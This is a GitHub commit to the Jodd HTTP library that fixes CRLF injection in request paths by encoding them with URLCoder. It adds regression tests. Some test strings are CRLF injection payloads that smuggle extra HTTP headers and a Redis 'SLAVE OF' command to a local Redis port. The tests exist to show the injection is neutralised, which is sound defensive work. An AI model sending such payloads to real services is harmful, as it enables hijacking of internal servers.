Skip to content

Commit e50f573

Browse files
committed
Encode with URLCoder (closes #9)
1 parent 1c99347 commit e50f573

File tree

2 files changed

+59
-22
lines changed

2 files changed

+59
-22
lines changed

src/main/java/jodd/http/HttpRequest.java

Lines changed: 19 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@
2727

2828
import jodd.net.HttpMethod;
2929
import jodd.net.MimeTypes;
30+
import jodd.net.URLCoder;
3031
import jodd.util.Base64;
3132
import jodd.util.StringPool;
3233
import jodd.util.StringUtil;
@@ -37,7 +38,6 @@
3738
import java.io.InputStreamReader;
3839
import java.io.OutputStream;
3940
import java.io.UnsupportedEncodingException;
40-
import java.net.URLEncoder;
4141
import java.nio.charset.StandardCharsets;
4242
import java.util.Map;
4343
import java.util.concurrent.CompletableFuture;
@@ -337,40 +337,37 @@ public String path() {
337337
* Adds a slash if path doesn't start with one.
338338
* Query will be stripped out from the path.
339339
* Previous query is discarded.
340+
*
340341
* @see #query()
341342
*/
342-
public HttpRequest path(String path){
343+
public HttpRequest path(String path) {
343344
// this must be the only place that sets the path
344345

345346
if (!path.startsWith(StringPool.SLASH)) {
346347
path = StringPool.SLASH + path;
347348
}
348349

349-
try {
350-
// remove fragment
351-
final int fragmentIndex = path.indexOf('#');
352-
if (path.indexOf('#') != -1) {
353-
this.fragment = URLEncoder.encode(path.substring(fragmentIndex + 1), StandardCharsets.UTF_8.name());
354-
path = path.substring(0, fragmentIndex);
355-
}
356-
357-
final int ndx = path.indexOf('?');
350+
// remove fragment
351+
final int fragmentIndex = path.indexOf('#');
352+
if (path.indexOf('#') != -1) {
353+
this.fragment = URLCoder.encodePath(path.substring(fragmentIndex + 1), StandardCharsets.UTF_8);
354+
path = path.substring(0, fragmentIndex);
355+
}
358356

359-
if (ndx != -1) {
360-
final String queryString = path.substring(ndx + 1);
357+
final int ndx = path.indexOf('?');
361358

362-
path = URLEncoder.encode(path.substring(0, ndx), StandardCharsets.UTF_8.name());
359+
if (ndx != -1) {
360+
final String queryString = path.substring(ndx + 1);
363361

364-
query = HttpUtil.parseQuery(queryString, true);
365-
} else {
366-
query = HttpMultiMap.newCaseInsensitiveMap();
367-
}
362+
path = URLCoder.encodePath(path.substring(0, ndx), StandardCharsets.UTF_8);
368363

369-
this.path = URLEncoder.encode(path, StandardCharsets.UTF_8.name());
370-
;
371-
}catch (UnsupportedEncodingException e) {
372-
return null;
364+
query = HttpUtil.parseQuery(queryString, true);
365+
} else {
366+
query = HttpMultiMap.newCaseInsensitiveMap();
373367
}
368+
369+
this.path = URLCoder.encodePath(path, StandardCharsets.UTF_8);
370+
374371
return this;
375372
}
376373

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package jodd.http;
2+
3+
import jodd.net.URLCoder;
4+
import org.junit.jupiter.api.Test;
5+
6+
import static org.junit.jupiter.api.Assertions.assertEquals;
7+
8+
class CRLFInjectionTest {
9+
10+
@Test
11+
void testGet_crlf_injection() {
12+
String url = "http://127.0.0.1:6379/ \rfoo";//"HTTP/1.1\r\nHost: 127.0.0.13:1099\r\n\r\nSLAVE OF inhann.top:6379\r\n\r\nPOST / ";
13+
HttpRequest req = HttpRequest.get(url);
14+
15+
assertEquals("GET /%20%0Dfoo HTTP/1.1", req.toString().split("\n")[0].trim());
16+
}
17+
18+
@Test
19+
void testGet_crlf_injection_path() {
20+
String url = "http://127.0.0.1:6379/";
21+
HttpRequest req = HttpRequest.get(url).path(" \rfoo");
22+
23+
assertEquals("GET /%20%0Dfoo HTTP/1.1", req.toString().split("\n")[0].trim());
24+
}
25+
26+
@Test
27+
void testGet_crlf_injection2() {
28+
String path = " HTTP/1.1\n" +
29+
"Host: 127.0.0.13:1099\n" +
30+
"\n" +
31+
"SLAVE OF inhann.top:6379\n" +
32+
"\n" +
33+
"POST /";
34+
String url = "http://127.0.0.1:6379/" + path;
35+
HttpRequest req = HttpRequest.get(url);
36+
37+
assertEquals("GET /" + URLCoder.encodePath(path) + " HTTP/1.1", req.toString().split("\n")[0].trim());
38+
}
39+
40+
}

0 commit comments

Comments
 (0)